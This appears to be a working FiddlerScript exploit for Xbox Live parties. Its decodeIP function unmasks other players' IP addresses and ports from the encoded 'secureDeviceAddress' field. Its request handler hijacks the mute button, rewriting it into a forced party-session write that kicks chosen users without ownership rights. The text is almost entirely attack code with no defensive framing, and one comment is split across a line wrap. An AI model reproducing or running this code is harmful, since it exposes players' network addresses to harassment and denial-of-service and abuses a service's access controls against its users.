Xbox Script
Xbox Script
import System;
import System.Windows.Forms;
import Fiddler;
import Fiddler.WebFormats;
var partyOwnership;
var partyOwnership_hostname;
var partyOwnership_version;
var original_parameters;
function JSONGetKeys(json) {
var to_return = []
var JSON_BRACE = -1;
var JSON_BREAKPOINT = false;
var char = "";
var name_build = ""
for (var i = 0; i < json.length; i++) {
char = json[i]
JSON_BRACE += char == "{"
JSON_BRACE -= char == "}"
if (JSON_BRACE > -1) {
if (JSON_BREAKPOINT) {
if (JSON_BRACE == 0) {
if (char == ",") {
JSON_BREAKPOINT = false
}
}
} else {
if (char != "\"" && char != ":" && char != "{") {
name_build += char
} else if (char == ":") {
to_return.push(String(name_build))
name_build = ""
JSON_BREAKPOINT = true
}
}
}
if (JSON_BRACE == -1) {
return to_return
}
}
return false
}
function decodeIP(rawBytes) {
var is_safe = true
var fail_reason = -1
var secureDeviceAddress
try {
secureDeviceAddress = Convert.FromBase64String(rawBytes)
} catch(Error) {
return "(base64 decode failure)"
}
if (is_safe) {
if (secureDeviceAddress[0] == 0x01 && secureDeviceAddress[1] == 0x00) {
var last4 = [0, 0, 0, 0]
var arrayIndex = 0
for (var char = 0; char < secureDeviceAddress.length; char++) {
arrayIndex++
last4.shift()
last4.push(secureDeviceAddress[char])
if (last4[0] == 32 && last4[1] == 1 && last4[2] == 0 && last4[3] == 0)
break;
}
if (last4[0] != 32 || last4[1] != 1 || last4[2] != 0 || last4[3] != 0)
return "(Hidden)";
var ipv4 = ""
var ipvp = 0
for (var x = 0; x < 4; x++) {
ipv4 += "." + String(0xff - secureDeviceAddress[(arrayIndex + 8) + x])
}
for (var x = 0; x < 2; x++) {
ipvp += (0xff - secureDeviceAddress[(arrayIndex + 7) - x]) * (1 + (0xff
* x))
}
ipv4 = ipv4.replace(".", "", 1)
return ipv4 + " : " + String(ipvp)
} else {
return "(invalid secureDeviceAddress)"
}
}
return "An unknown exception occurred."
}
class Handlers
{
static function OnBeforeRequest(oSession) {
var oReq = System.Text.Encoding.UTF8.GetString(oSession.requestBodyBytes);
if (oSession.PathAndQuery.indexOf("/serviceconfigs/") > -1) {
if (oReq.indexOf("\"constants\"") > -1) {
partyOwnership = oSession.PathAndQuery
partyOwnership_hostname = oSession.host
partyOwnership_version = oSession.oRequest["x-xbl-contract-version"]
FiddlerObject.log(partyOwnership_version)
}
}
if (oSession.PathAndQuery.indexOf("/people/mute") > -1) { // Repurposed remove
button
if (partyOwnership != undefined) {
var to_kick = oReq.split(": \"")[1].split("\"")[0]
oSession.PathAndQuery = partyOwnership
oSession.host = partyOwnership_hostname
oSession.oRequest["x-xbl-contract-version"] = partyOwnership_version
oSession.oRequest["If-Match"] = "*"
oReq = "{\"properties\":{\"custom\":{\"kickusers\":{\"" + to_kick +
"\":\"kick\"}}}}"
}
}
oSession.utilSetRequestBody(oReq)
}